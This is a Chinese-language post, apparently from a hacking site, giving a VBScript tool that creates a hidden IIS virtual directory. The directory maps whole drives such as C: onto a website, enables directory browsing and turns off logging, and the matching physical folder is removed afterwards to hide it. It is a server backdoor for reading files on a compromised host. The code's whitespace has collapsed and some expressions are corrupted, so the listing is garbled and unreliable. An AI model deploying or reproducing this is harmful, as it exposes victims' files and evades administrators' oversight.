建立隐藏虚拟目录使用。首先要先在对应WEB目录里建立一个目录。然后利用脚本直接在Shell中创建虚拟目录。仅仅为了方便大家使用。方法如下
C:>mdir.vbs
***************************************************************************
Usage:MDir<-wWebSiteIndex>
<-vName1,Path1,Name2,Path2,...>
Example:MDir-w1-v"Root/Disk-C","C:","Root/Disk-D","D:"
***************************************************************************
IndexServerComment
___________________________________________________________________________
1asp.com
2asp.net
3aspx.net
4aspx.com
5tmp.com
6tmp.net
不加任何参数时,会将IIS中所有主机头罗列出来。
如果你想在asp.com中创建,则需要记准对应的Index值。格式如下
C:inetpubwwwroot>mdRoot
C:inetpubwwwroot>Cscriptmdir.vbs-w"1"-v"Root/Disk-c","c:"
C:inetpubwwwroot>rdRoot
就在此域名下创建了一个隐藏的虚拟目录。
访问方法:
http://asp.com/Root/Disk-c
复制代码 代码如下:
'Lilo编写
'Lilo@Bugkidz.org
OnErrorResumeNext
DimoArgs,ArgNum,ArgComputer,ArgWebSites,ArgVirtualDirs,ArgDirNames(),ArgDirPaths(),DirIndex,ArgComputers
SetoArgs=WScript.Arguments
ArgComputers=Array("LocalHost")
ArgNum=0
WhileArgNum<oArgs.Count
If(ArgNum+1)>=oArgs.CountThen
CallDisplayUsage
EndIf
SelectCaseLCase(oArgs(ArgNum))
Case"-w":
ArgNum=ArgNum+1
ArgWebSites=oArgs(ArgNum)
Case"-v":
ArgNum=ArgNum+1
ArgVirtualDirs=Split(oArgs(ArgNum),",",-1)
Case"-?"
CallDisplayUsage
EndSelect
ArgNum=ArgNum+1
Wend
ArgNum=0
DirIndex=0
MaxWeb=CLng(ListAllWeb(0))
IfNotIsNumeric(ArgWebSites)OrMaxWeb=0ThenCallDisplayUsage
ReDimArgDirNames((UBound(ArgVirtualDirs)+1)2)
ReDimArgDirPaths((UBound(ArgVirtualDirs)+1)2)
ifisArray(ArgVirtualDirs)then
WhileArgNum<=UBound(ArgVirtualDirs)
ArgDirNames(DirIndex)=ArgVirtualDirs(ArgNum)
If(ArgNum+1)>UBound(ArgVirtualDirs)Then
WScript.Echo"Errorunderstandingvirtualdirectories"
CallDisplayUsage
EndIf
ArgNum=ArgNum+1
ArgDirPaths(DirIndex)=ArgVirtualDirs(ArgNum)
ArgNum=ArgNum+1
DirIndex=DirIndex+1
Wend
endif
If(ArgWebSites="")Or(IsArray(ArgDirNames)=FalseorIsArray(ArgDirPaths)=False)Then
CallDisplayUsage
Else
DimcompIndex
forcompIndex=0toUBound(ArgComputers)
CallASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths)
next
EndIf
SubDisplay(Msg)
WScript.EchoNow&".ErrorCode:"&Hex(Err)&"-"&Msg
EndSub
SubTrace(Msg)
WScript.EchoNow&":"&Msg
EndSub
SubDisplayUsage()
WScript.EchoString(75,"*")&vbCrLf&"Usage:MDir<-wWebSiteIndex>"&vbCrLf&"<-vName1,Path1,Name2,Path2,...>"&vbCrLf&"Example:MDir-w1-v""Root/Disk-C"",""C:"",""Root/Disk-D"",""D:"""&vbCrLf&String(75,"*")&vbCrLf&ListAllWeb(1)
WScript.Quit
EndSub
SubASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths)
DimComputer,webSite,WebSiteID,vRoot,vDir,DirNum
OnErrorResumeNext
SetwebSite=GetObject("IIS://Localhost/W3SVC/"&WebSiteName)
ifIsObject(webSite)then
setvRoot=webSite.GetObject("IIsWebVirtualDir","Root")
Trace"AccessingRootFor"&webSite.ADsPath
If(Err<>0)Then
Display"UnableToAccessRootfor"&webSite.ADsPath
Else
DirNum=0
If(IsArray(DirNames)=True)And(IsArray(DirPaths)=True)And(UBound(DirNames)=UBound(DirPaths))Then
WhileDirNum<UBound(DirNames)
SetvDir=vRoot.Create("IIsWebVirtualDir",DirNames(DirNum))
If(Err<>0)Then
Display"UnableToCreate"&vRoot.ADsPath&"/"&DirNames(DirNum)&"."
Else
vDir.EnableDirBrowsing=True
vDir.DirBrowseShowDate=False
vDir.DirBrowseShowTime=False
vDir.DirBrowseShowSize=False
vDir.DirBrowseShowExtension=False
vDir.DirBrowseShowLongDate=True
vDir.DirBrowseFlags=-1073741762
vDir.AccessRead=True
vDir.AccessWrite=False
vDir.AccessExecute=False
vDir.AccessScript=False
vDir.AccessSource=False
vDir.AccessNoRemoteRead=False
vDir.AccessNoRemoteWrite=False
vDir.AccessNoRemoteExecute=False
vDir.AccessNoRemoteScript=False
vDir.AppIsolated=1
vDir.AccessFlags=1
vDir.ContentIndexed=False
vDir.CreateProcessasUser=False
vDir.DontLog=True
'vDir.DefaultDoc=""
vDir.EnableDefaultDoc=False
vDir.AppFriendlyName=""
vDir.AppCreate23
vDir.Path=DirPaths(DirNum)
If(Err<>0)Then
Display"UnableToBindPath"&DirPaths(DirNum)&"to"&vRootName&"/"&DirNames(DirNum)&".Pathmaybeinvalid."
Else
'Savethechanges
vDir.SetInfo
If(Err<>0)Then
Display"UnableToSaveConfigurationFor"&vRootName&"/"&DirNames(DirNum)&"."
Else
Trace"WebVirtualDirectory"&vRootName&"/"&DirNames(DirNum)&"createdsuccessfully."
EndIf
EndIf
EndIf
Err=0
DirNum=DirNum+1
Wend
EndIf
EndIf
else
Display"UnableToFind"&WebSiteName&"on"&ComputerName
Endif
Trace"Done."
EndSub
FunctionListAllWeb(n)
SetObjService=GetObject("IIS://LocalHost/W3SVC")
Ifn=1ThenListAllWeb=""ElseListAllWeb=0
ForEachobj3wInobjservice
IfIsNumeric(obj3w.Name)Then
sServerName=Obj3w.ServerComment
Ifn=1Then
ListAllWeb=ListAllWeb&obj3w.Name&String(15-Len(obj3w.Name),"")&obj3w.ServerComment&vbCrLf
Else
ListAllWeb=ListAllWeb+1
EndIf
EndIf
Next
ifn=1ThenListAllWeb="Index"&String(10,"")&"ServerComment"&vbCrLf&String(75,"_")&vbCrLf&ListAllWeb
SetObjService=Nothing
EndFunction